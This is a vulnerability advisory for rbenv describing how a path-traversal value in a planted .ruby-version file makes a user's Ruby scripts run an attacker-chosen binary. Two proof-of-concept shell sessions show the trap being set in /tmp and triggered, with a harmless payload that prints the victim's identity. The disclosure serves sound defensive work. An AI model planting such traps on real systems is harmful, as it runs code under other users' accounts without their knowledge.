The following issue constitutes a low-risk arbitrary code execution vulnerability in rbenv.
No fixed version is currently available. An issue has been logged with the project to address this vulnerability at rbenv/rbenv#977
rbenv manages multiple versions of Ruby, which are installed within a user's home directory, and provides automatic switching between those Ruby versions based on an application's needs.
https://github.com/rbenv/rbenv/blob/master/README.md says:
At a high level, rbenv intercepts Ruby commands using shim executables injected into your PATH, determines which Ruby version has been specified by your application, and passes your commands along to the correct Ruby installation.
All examples below were captured using rbenv version 1.1.0-2-g4f8925a
- OVE ID: OVE-20170303-0004
- Public disclosure date: 2017-03-04
- Affected versions: All?
When executing Ruby or a Ruby script, rbenv reads a file named .ruby-version
to determine the version of Ruby interpreter to execute. It will walk up the
directory tree until it finds such a file, or until it reaches /
. If it does
not find such a file, it repeats the process starting from $PWD
.
Documentation regarding this process is available at
https://github.com/rbenv/rbenv/blob/master/README.md#choosing-the-ruby-version
Once a Ruby version has been identified,
~/.rbenv/versions/${VERSION}/bin/ruby
is used to provide Ruby.
The Ruby version specified in .ruby-version
may contain path traversal
sequences, making it possible to specify that a ruby
binary outside of the
user's home directory should be used to provide Ruby.
This is exploitable against local users in the following cases:
-
Where a user executes a trustworthy Ruby script that is in a directory where the first
.ruby-version
encountered while walking upwards from the directory to the root directory is attacker-controlled. For example, an attacker may plant/tmp/.ruby-version
to exploit a user who is executing/tmp/foo/bar/fizzbuzz.rb
-
Where a user executes a trustworthy Ruby script while their
$PWD
is a directory where the first.ruby-version
encountered while walking upwards from the directory to the root directory is attacker-controlled. For example, an attacker may plant/tmp/.ruby-version
to exploit a user who is executing a Ruby script while they arecd
'd to/tmp/fizz/buzz/
These attack scenarios are considered by the author to be highly unusual and
requires a high level of user interaction (executing Ruby scripts from, or
while cd
'd to, a world-writable directory or a descendent thereof). This
issue is hence deemed to be low-risk.
Create an innocent script:
[justin@116e71652cf1 D ~]% mkdir -p /tmp/foo/bar/
[justin@116e71652cf1 D ~]% cat > /tmp/foo/bar/fizzbuzz.rb
#!/usr/bin/env ruby
puts 'This is fine'
^D
[justin@116e71652cf1 D ~]% chmod u+x /tmp/foo/bar/fizzbuzz.rb
Set the trap as nobody
:
[justin@116e71652cf1 D ~]% cat | sudo -u nobody tee /tmp/.ruby-version >/dev/null
../../../../../../../../../../../../tmp/badruby
^D
[justin@116e71652cf1 D ~]% sudo -u nobody mkdir -p /tmp/badruby/bin
[justin@116e71652cf1 D ~]% cat | sudo -u nobody tee /tmp/badruby/bin/ruby >/dev/null
#!/bin/sh
echo "Bad ruby executing as $(id)"
^D
[justin@116e71652cf1 D ~]% sudo -u nobody chmod -R a+rx /tmp/badruby
[justin@116e71652cf1 D ~]% ls -la /tmp/.ruby-version /tmp/badruby/bin/ruby
-rw-r--r-- 1 nobody nogroup 48 Mar 3 23:54 /tmp/.ruby-version
-rwxr-xr-x 1 nobody nogroup 45 Mar 3 23:55 /tmp/badruby/bin/ruby
Trigger the trap by executing the trustworthy script as justin
:
[justin@116e71652cf1 D ~]% /tmp/foo/bar/fizzbuzz.rb
Bad ruby executing as uid=31337(justin) gid=31337(justin) groups=31337(justin),27(sudo)
Create an innocent script within ~
:
[justin@116e71652cf1 D ~]% mkdir -p ~/fizz/buzz
[justin@116e71652cf1 D ~]% cat > ~/fizz/buzz/foobar.rb
#!/usr/bin/env ruby
puts 'This is fine'
^D
[justin@116e71652cf1 D /tmp/fizz/buzz]% chmod u+x ~/fizz/buzz/foobar.rb
cd
to an empty directory within /tmp
:
[justin@116e71652cf1 D ~]% mkdir -p /tmp/fizz/buzz
[justin@116e71652cf1 D ~]% cd /tmp/fizz/buzz
[justin@116e71652cf1 D /tmp/fizz/buzz]% ls -la
total 8
drwxr-xr-x 2 justin justin 4096 Mar 4 00:00 .
drwxr-xr-x 3 justin justin 4096 Mar 4 00:00 ..
Don't bother setting the trap as nobody
- the trap from the previous POC will
work just fine.
Trigger the trap by executing the trustworthy script as justin
:
[justin@116e71652cf1 D /tmp/fizz/buzz]% ~/fizz/buzz/foobar.rb
Bad ruby executing as uid=31337(justin) gid=31337(justin) groups=31337(justin),27(sudo)
Justin Steven